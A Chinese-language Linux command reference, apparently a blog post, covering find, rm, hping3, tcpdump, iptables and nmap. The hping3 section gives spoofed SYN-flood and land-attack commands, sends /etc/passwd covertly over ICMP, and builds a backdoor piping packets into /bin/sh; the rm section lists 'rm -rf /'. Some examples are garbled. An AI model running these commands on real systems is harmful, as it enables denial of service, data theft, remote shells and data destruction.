-mount:此参数的效果和指定“-xdev”相同;
-mtime<24小时数>:查找在指定时间曾被更改过的文件或目录,单位以24小时计算;
-name<范本样式>:指定字符串作为寻找文件或目录的范本样式;
-newer<参考文件或目录>:查找其更改时间较指定文件或目录的更改时间更接近现在的文件或目录;
-nogroup:找出不属于本地主机群组识别码的文件或目录;
-noleaf:不去考虑目录至少需拥有两个硬连接存在;
-nouser:找出不属于本地主机用户识别码的文件或目录;
-ok<执行指令>:此参数的效果和指定“-exec”类似,但在执行指令之前会先询问用户,若回答“y”或“Y”,则放弃执行命令;
-path<范本样式>:指定字符串作为寻找目录的范本样式;
-perm<权限数值>:查找符合指定的权限数值的文件或目录;
-print:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式为每列一个名称,每个名称前皆有“./”字符串;
-print0:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式为全部的名称皆在同一行;
-printf<输出格式>:假设find指令的回传值为Ture,就将文件或目录名称列出到标准输出。格式可以自行指定;
-prune:不寻找字符串作为寻找文件或目录的范本样式;
-regex<范本样式>:指定字符串作为寻找文件或目录的范本样式;
-size<文件大小>:查找符合指定的文件大小的文件;
-true:将find指令的回传值皆设为True;
-typ<文件类型>:只寻找符合指定的文件类型的文件;
-uid<用户识别码>:查找符合指定的用户识别码的文件或目录;
-used<日数>:查找文件或目录被更改之后在指定时间曾被存取过的文件或目录,单位以日计算;
-user<拥有者名称>:查找符和指定的拥有者名称的文件或目录;
-version或——version:显示版本信息;
-xdev:将范围局限在先行的文件系统中;
-xtype<文件类型>:此参数的效果和指定“-type”参数类似,差别在于它针对符号连接检查。
参数
起始目录:查找文件的起始目录。

实例
根据文件或者正则表达式进行匹配
列出当前目录及子目录下所有文件和文件夹
find .
在/home目录下查找以.txt结尾的文件名
find /home -name “.txt"
同上,但忽略大小写
find /home -iname "
.txt”
当前目录及子目录下查找所有以.txt和.pdf结尾的文件
find . ( -name “.txt" -o -name ".pdf” )

find . -name “.txt" -o -name ".pdf”
匹配文件路径或者文件
find /usr/ -path “local
基于正则表达式匹配文件路径
find . -regex “.(.txt|.pdf)KaTeX parse error: Can't use function '\(' in math mode at position 31: …d . -iregex ".*\̲(̲\.txt\|\.pdf\)"
否定参数
找出/home下不是以.txt结尾的文件
find /home ! -name "
.txt”
根据文件类型进行搜索
find . -type 类型参数

类型参数列表:
f 普通文件
l 符号连接
d 目录
c 字符设备
b 块设备
s 套接字
p Fifo

基于目录深度搜索
向下最大深度限制为3
find . -maxdepth 3 -type f
搜索出深度距离当前目录至少2个子目录的所有文件
find . -mindepth 2 -type f
根据文件时间戳进行搜索
find . -type f 时间戳

UNIX/Linux文件系统每个文件都有三种时间戳:
访问时间(-atime/天,-amin/分钟):用户最近一次访问时间。
修改时间(-mtime/天,-mmin/分钟):文件最后一次修改时间。
变化时间(-ctime/天,-cmin/分钟):文件数据元(例如权限等)最后一次修改时间。
搜索最近七天内被访问过的所有文件
find . -type f -atime -7
搜索恰好在七天前被访问过的所有文件
find . -type f -atime 7
搜索超过七天内被访问过的所有文件
find . -type f -atime +7
搜索访问时间超过10分钟的所有文件
find . -type f -amin +10
找出比file.log修改时间更长的所有文件
find . -type f -newer file.log

根据文件大小进行匹配
find . -type f -size 文件大小单元
文件大小单元:
b —— 块(512字节)
c —— 字节
w —— 字(2字节)
k —— 千字节
M —— 兆字节
G —— 吉字节
搜索大于10KB的文件
find . -type f -size +10k
搜索小于10KB的文件
find . -type f -size -10k
搜索等于10KB的文件
find . -type f -size 10k
删除匹配文件
删除当前目录下所有.txt文件
find . -type f -name “*.txt” -delete

根据文件权限/所有权进行匹配
当前目录下搜索出权限为777的文件
find . -type f -perm 777
找出当前目录下权限不是644的php文件
find . -type f -name “.php" ! -perm 644
找出当前目录用户tom拥有的所有文件
find . -type f -user tom
找出当前目录用户组sunk拥有的所有文件
find . -type f -group sunk
借助-exec选项与其他命令结合使用
找出当前目录下所有root的文件,并把所有权更改为用户tom
find .-type f -user root -exec chown tom {} ;
上例中,{} 用于与-exec选项结合使用来匹配所有文件,然后会被替换为相应的文件名。
找出自己家目录下所有的.txt文件并删除
find $HOME/. -name "
.txt” -ok rm {} ;
上例中,-ok和-exec行为一样,不过它会给出提示,是否执行相应的操作。

查找当前目录下所有.txt文件并把他们拼接起来写入到all.txt文件中
find . -type f -name “.txt" -exec cat {} ;> all.txt
将30天前的.log文件移动到old目录中
find . -type f -mtime +30 -name "
.log” -exec cp {} old ;
找出当前目录下所有.txt文件并以“File:文件名”的形式打印出来
find . -type f -name “.txt" -exec printf “File: %s\n” {} ;
因为单行命令中-exec参数中无法使用多个命令,以下方法可以实现在-exec之后接受多条命令
-exec ./text.sh {} ;
搜索但跳出指定的目录
查找当前目录或者子目录下所有.txt文件,但是跳过子目录sk
find . -path “./sk” -prune -o -name "
.txt” -print
find其他技巧收集
要列出所有长度为零的文件
find . –empty

2、Linux网络管理相关指令:

Linux tmpwatch命令用于删除暂存文件。
执行tmpwatch指令可删除不必要的暂存文件,您可以设置文件超期时间,单位以小时计算。

语法
tmpwatch [-afqv][–test][超期时间][目录…]
参数:

-a或–all  删除任何类型的文件。
-f或–force  强制删除文件或目录,其效果类似rm指令的"-f"参数。
-q或–quiet  不显示指令执行过程。
-v或–verbose  详细显示指令执行过程。
-test  仅作测试,并不真的删除文件或目录。
实例
使用指令"tmpwatch"删除目录"/tmp"中超过一天未使用的文件,输入如下命令:

$ tmpwatch 24 /tmp/ #删除/tmp目录中超过一天未使用的文件
以上命令执行后,其执行结果如下所示:

removing directctmp/orbit-tom if not empty
注意:该指令需要root权限,因此在使用tmpwatch命令前应该使用su命令切换用户。切换管理权限操作如下所示:

$ su #切换到root用户
口令:********** #输入用户密码

2、rm -rf命令在 Linux 系統中可以快速刪除文件夾及其內容。
列下m-rf 命令最常見的組合和選擇:
rm command :刪除 Linux 系統的文件
rm -f command:不需提示,刪除文件中的只讀文件
rm -r command 循環刪除文件夾的內容
rm -d command :刪除空目錄,如果非空目錄則不會執行該操作
rm -rf/ command:強制刪除根目錄中的所有內容和子文件夾(包括寫保護文件)命令。
rm -rf* command :強制刪除當前目錄中的所有內容(當前工作目錄)和字文件夾
rm -rf. command:強制刪除當前文件夾目錄/子目錄中的所有內容

mtr 是一個強大的網絡診斷工具。
它結合了 traceroute 和 ping 這兩個命令的功能
mtr [hostname]

Hping3命令:
hping是用于生成和解析TCPIP协议数据包的开源工具。
创作者是Salvatore Sanfilippo。
目前最新版是hping3,支持使用tcl脚本自动化地调用其API。
hping是安全审计、防火墙测试等工作的标配工具。
hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

linux安装
yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install
选项:
-H --help 显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
-n -nmeric 数字输出,象征性输出主机地址。
-q -quiet 退出。
-I --interface interface name 无非就是eth0之类的参数。
-v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,…)
-z --bind 快捷键的使用。
-Z --unbind 消除快捷键。
-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用–ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用–baseport --destport --keep选项指定其模式。
-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
-t --ttl time to live 可以指定发出包的TTL值。
-H --ipproto 在RAW IP模式里选择IP协议。
-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。
-K --ICMPCODE CODE 指定ICMP代号,缺省0。
–icmp-ipver 把IP版本也插入IP头。
–icmp-iphlen 设置IP头的长度,缺省为5(32字节)。
–icmp-iplen 设置IP包长度。
–icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。
–icmp-ipproto 设置协议的,缺省是TCP。
-icmp-cksum 设置校验和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
–icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
–keep 上面说过了。
-w --win 发的大小和windows一样大,64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置TCP序列数。
-l --tcpck 设置TCP ack。
-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。

Hping3功能
Hping3主要有以下典型功能应用:

1.防火墙测试
使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html
测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

2.端口扫描
Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:
hping3 -I eth0 -S 192.168.10.1 -p 80
其中-I eth0指定使用eth0端口,-S指定TCP包的标志位SYN,-p 80指定探测的目的端口。
hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。

3.Idle扫描
Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。
该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

4.拒绝服务攻击DDOS
使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻击如smurf、teardrop、land attack等也很容易构建出来。

5.文件传输
Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:
hping3 192.168.1.159–listen signature --safe --icmp
监听ICMP包中的签名,根据签名解析出文件内容。

在发送端使用签名打包的ICMP包发送文件:

hping3 192.168.1.108–icmp ?d 100 --sign signature --file /etc/passwd
将/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。

6.木马功能
如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。

示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。

在木马启动端:
hping3 192.168.10.66–listen signature --safe --udp -p 53 | /bin/sh
在远程控制端:
echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节

iptraf命令可以实时地监视网卡流量,可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。

语法
iptraf(选项)
选项
-i网络接口:立即在指定网络接口上开启IP流量监视;
-g:立即开始生成网络接口的概要状态信息;
-d网络接口:在指定网络接口上立即开始监视明细的网络流量信息;
-s网络接口:在指定网络接口上立即开始监视TCP和UDP网络流量信息;
-z网络接口:在指定网络接口上显示包计数;
-l网络接口:在指定网络接口上立即开始监视局域网工作站信息;
-t时间:指定iptraf指令监视的时间;
-B;将标注输出重新定向到“/dev/null”,关闭标注输入,将程序作为后台进程运行;
-f:清空所有计数器;
-h:显示帮助信息。

apachectl命令是Apache的Web服务器前端控制工具,用以启动、关闭和重新启动Web服务器进程。

语法
apachectl(参数)
参数
configtest:检查设置文件中的语法是否正确;
fullstatus:显示服务器完整的状态信息;
graceful:重新启动Apache服务器,但不会中断原有的连接;
help:显示帮助信息;
restart:重新启动Apache服务器;
start:启动Apache服务器;
status:显示服务器摘要的状态信息;
stop:停止Apache服务器。

ab命令是Apache的Web服务器的性能测试工具,它可以测试安装Web服务器每秒种处理的HTTP请求。

语法
ab(选项)(参数)
选项
-A:指定连接服务器的基本的认证凭据;
-c:指定一次向服务器发出请求数;
-C:添加cookie;
-g:将测试结果输出为“gnuolot”文件;
-h:显示帮助信息;
-H:为请求追加一个额外的头;
-i:使用“head”请求方式;
-k:激活HTTP中的“keepAlive”特性;
-n:指定测试会话使用的请求数;
-p:指定包含数据的文件;
-q:不显示进度百分比;
-T:使用POST数据时,设置内容类型头;
-v:设置详细模式等级;
-w:以HTML表格方式打印结果;
-x:以表格方式输出时,设置表格的属性;
-X:使用指定的代理服务器发送请求;
-y:以表格方式输出时,设置表格属性。
参数
主机:被测试主机。

nstat命令和rtacct命令是一个简单的监视内核的SNMP计数器和网络接口状态的实用工具。

语法
nstat/rtacct(选项)
选项
-h:显示帮助信息;
-V:显示指令版本信息;
-z:显示0计数器;
-r:清零历史统计;
-n:不显示任何内容,仅更新历史;
-a:显示计数器的绝对值;
-s:不更新历史;
-d:以守护进程的方式运行本指令。
实例

[root@localhost ~]# nstat
#kernel
IpInReceives 15766482 0.0
IpInDelivers 15538384 0.0
IpOutRequests 9746938 0.0
IpReasmReqds 8 0.0
IpReasmOKs 4 0.0
IcmpInErrors 28701 0.0
IcmpInDestUnreachs 405 0.0
IcmpInTimeExcds 1812 0.0

tcpdump命令是一款sniffer工具,
它可以打印所有经过网络接口的数据包的头信息,
也可以使用-w选项将数据包保存到文件中,方便以后分析。

语法
tcpdump (选项)
选项
-a:尝试将网络和广播地址转换成名称;
-c<数据包数目>:收到指定的数据包数目后,就停止进行倾倒操作;
-d:把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出;
-dd:把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出;
-ddd:把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出;
-e:在每列倾倒资料上显示连接层级的文件头;
-f:用数字显示网际网络地址;
-F<表达文件>:指定内含表达方式的文件;
-i<网络界面>:使用指定的网络截面送出数据包;
-l:使用标准输出列的缓冲区;
-n:不把主机的网络地址转换成名字;
-N:不列出域名;
-O:不将数据包编码最佳化;
-p:不让网络界面进入混杂模式;
-q :快速输出,仅列出少数的传输协议信息;
-r<数据包文件>:从指定的文件读取数据包数据;
-s<数据包大小>:设置每个数据包的大小;
-S:用绝对而非相对数值列出TCP关联数;
-t:在每列倾倒资料上不显示时间戳记;
-tt: 在每列倾倒资料上显示未经格式化的时间戳记;
-T<数据包类型>:强制将表达方式所指定的数据包转译成设置的数据包类型;
-v:详细显示指令执行过程;
-vv:更详细显示指令执行过程;
-x:用十六进制字码列出数据包资料;
-w<数据包文件>:把数据包数据写入指定的文件。

实例
直接启动tcpdump将监视第一个网络接口上所有流过的数据包
tcpdump
监视指定网络接口的数据包
tcpdump -i eth1
如果不指定网卡,默认tcpdump只会监视第一个网络接口,一般是eth0,下面的例子都没有指定网络接口。

监视指定主机的数据包
打印所有进入或离开sundown的数据包。
tcpdump host sundown
也可以指定ip,例如截获所有210.27.48.1 的主机收到的和发出的所有的数据包
tcpdump host 210.27.48.1
打印helios 与 hot 或者与 ace 之间通信的数据包
tcpdump host helios and ( hot or ace )
截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信
tcpdump host 210.27.48.1 and \ (210.27.48.2 or 210.27.48.3 )
打印ace与任何其他主机之间通信的IP 数据包, 但不包括与helios之间的数据包.
tcpdump ip host ace and not helios
如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包,使用命令:
tcpdump ip host 210.27.48.1 and ! 210.27.48.2
截获主机hostname发送的所有数据
tcpdump -i eth0 src host hostname
监视所有送到主机hostname的数据包
tcpdump -i eth0 dst host hostname
监视指定主机和端口的数据包
如果想要获取主机210.27.48.1接收或发出的telnet包,使用如下命令
tcpdump tcp port 23 host 210.27.48.1
对本机的udp 123 端口进行监视 123 为ntp的服务端口
tcpdump udp port 123
监视指定网络的数据包
打印本地主机与Berkeley网络上的主机之间的所有通信数据包
tcpdump net ucb-ether
ucb-ether此处可理解为“Berkeley网络”的网络地址,此表达式最原始的含义可表达为:打印网络地址为ucb-ether的所有数据包

打印所有通过网关snup的ftp数据包
tcpdump ‘gateway snup and (port ftp or ftp-data)’
注意:表达式被单引号括起来了,这可以防止shell对其中的括号进行错误解析

打印所有源地址或目标地址是本地主机的IP数据包
tcpdump ip and not net localnet

iptables-save命令用于将linux内核中的iptables表导出到标准输出设备商,
通常,使用shell中I/O重定向功能将其输出保存到指定文件中。

语法:
iptables-save (选项)
选项:
-c:指定要保存的iptables表时,保存当权的数据包计算器和字节计数器的值;
-t:指定要保存的表的名称。

实例 :
[root@localhost ~]# iptables-save -t filter > iptables.bak
[root@localhost ~]# cat iptables.bak
# Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013
*filter
:INPUT DROP [48113:2690676]
:FORWARD accept [0:0]
:OUTPUT ACCEPT [3381959:1818595115]
-A INPUT -i lo -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
COMMIT

iptables-restore命令用来还原iptables-save命令所备份的iptables配置。

语法:
iptables-restor (选项)
选项:
-c:指定在还原iptables表时候,还原当前的数据包计数器和字节计数器的值;
-t:指定要还原表的名称。
实例:
iptables-restor < iptables.bak
iptables.bak是iptables-save命令所备份的文件。

iptables命令是Linux上常用的防火墙软件,是netfilter项目的一部分。
可以直接配置,也可以通过许多前端和图形界面配置。

语法:
iptables (选项) (参数)
选项:
-t<表>:指定要操纵的表;
-A:向规则链中添加条目;
-D:从规则链中删除条目;
-i:向规则链中插入条目;
-R:替换规则链中的条目;
-L:显示规则链中已有的条目;
-F:清楚规则链中已有的条目;
-Z:清空规则链中的数据包计算器和字节计数器;
-N:创建新的用户自定义规则链;
-P:定义规则链中的默认目标;
-h:显示帮助信息;
-p:指定要匹配的数据包协议类型;
-s:指定要匹配的数据包源ip地址;
-j<目标>:指定要跳转的目标;
-i<网络接口>:指定数据包进入本机的网络接口;
-o<网络接口>:指定数据包要离开本机所使用的网络接口。

iptables命令选项输入顺序:
iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网> --sport 源端口 <-d 目标IP/目标子网> --dport 目标端口 -j 动作

表名包括:
raw:高级功能,如:网址过滤。
mangle:数据包修改(QOS),用于实现服务质量。
net:地址转换,用于网关路由器。
filter:包过滤,用于防火墙规则。

规则链名包括:
INPUT链:处理输入数据包。
OUTPUT链:处理输出数据包。
PORWARD链:处理转发数据包。
PREROUTING链:用于目标地址转换(DNAT)。
POSTOUTING链:用于源地址转换(SNAT)。

动作包括:
accept:接收数据包。
DROP:丢弃数据包。
REDIRECT:重定向、映射、透明代理。
SNAT:源地址转换。
DNAT:目标地址转换。
MASQUERADE:IP伪装(NAT),用于ADSL。
LOG:日志记录。

实例:
清除已有iptables规则
iptables -F
iptables -X
iptables -Z
开放指定的端口
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT #允许本地回环接口(即运行本机访问本机)
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT #允许已建立的或相关连的通行
iptables -A OUTPUT -j ACCEPT #允许所有本机向外的访问
iptables -A INPUT -p tcp --dport 22 -j ACCEPT #允许访问22端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT #允许访问80端口
iptables -A INPUT -p tcp --dport 21 -j ACCEPT #允许ftp服务的21端口
iptables -A INPUT -p tcp --dport 20 -j ACCEPT #允许FTP服务的20端口
iptables -A INPUT -j reject #禁止其他未允许的规则访问
iptables -A FORWARD -j REJECT #禁止其他未允许的规则访问

屏蔽IP
iptables -I INPUT -s 123.45.6.7 -j DROP #屏蔽单个IP的命令
iptables -I INPUT -s 123.0.0.0/8 -j DROP #封整个段即从123.0.0.1到123.255.255.254的命令
iptables -I INPUT -s 124.45.0.0/16 -j DROP #封IP段即从123.45.0.1到123.45.255.254的命令
iptables -I INPUT -s 123.45.6.0/24 -j DROP #封IP段即从123.45.6.1到123.45.6.254的命令是
查看已添加的iptables规则
iptables -L -n -v
Chain INPUT (policy DROP 48106 packets, 2690K bytes)
pkts bytes target prot opt in out source destination
5075 589K ACCEPT all – lo * 0.0.0.0/0 0.0.0.0/0
191K 90M ACCEPT tcp – * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22
1499K 133M ACCEPT tcp – * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:80
4364K 6351M ACCEPT all – * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
6256 327K ACCEPT icmp – * * 0.0.0.0/0 0.0.0.0/0

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination

Chain OUTPUT (policy ACCEPT 3382K packets, 1819M bytes)
pkts bytes target prot opt in out source destination
5075 589K ACCEPT all – * lo 0.0.0.0/0 0.0.0.0/0
删除已添加的iptables规则

将所有iptables以序号标记显示,执行:
iptables -L -n --line-numbers
比如要删除INPUT里序号为8的规则,执行:
iptables -D INPUT 8

iptstate命令以top指令类似的风格时显示Linux内核中iptables的工作状态。

语法
iptstate(选项)
选项
-b:指定输出信息的排序规则;
-d:不动态地改变窗口大小;
-f:过滤本地回送信息;
-l:将ip地址解析为域名;
-L:隐藏于DNS查询相关状态;
-r:指定刷新屏幕的频率;
-R:反序排列;
-s:单次运行模式;
-t:显示汇总信息。

nmap命令是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。

语法
nmap(选项)(参数)
选项
-O:激活操作探测;
-P0:值进行扫描,不ping主机;
-PT:是同TCP的ping;
-sV:探测服务版本信息;
-sP:ping扫描,仅发现目标主机是否存活;
-ps:发送同步(SYN)报文;
-PU:发送udp ping;
-PE:强制执行直接的ICMPping;
-PB:默认模式,可以使用ICMPping和TCPping;
-6:使用IPv6地址;
-v:得到更多选项信息;
-d:增加调试信息地输出;
-oN:以人们可阅读的格式输出;
-oX:以xml格式向指定文件输出信息;
-oM:以机器可阅读的格式输出;
-A:使用所有高级扫描选项;
–resume:继续上次执行完的扫描;
-P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围;
-e:在多网络接口Linux系统中,指定扫描使用的网络接口;
-g:将指定的端口作为源端口进行扫描;
–ttl:指定发送的扫描报文的生存期;
–packet-trace:显示扫描过程中收发报文统计;
–scanflags:设置在扫描报文中的TCP标志。
参数
ip地址:指定待扫描报文中的TCP地址。

实例
安装nmap

yum install nmap
使用nmap扫描www.linuxde.net的开放端口

[root@localhost ~]# nmap www.linuxde.net

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST
Interesting ports on 100-42-212-8.static.webnx.com (100.42.212.8):
Not shown: 1678 filtered ports
PORT STATE service
22/tcp open ssh
80/tcp open http
Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds

  • 2
    点赞
  • 0
    评论
  • 14
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 技术工厂 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值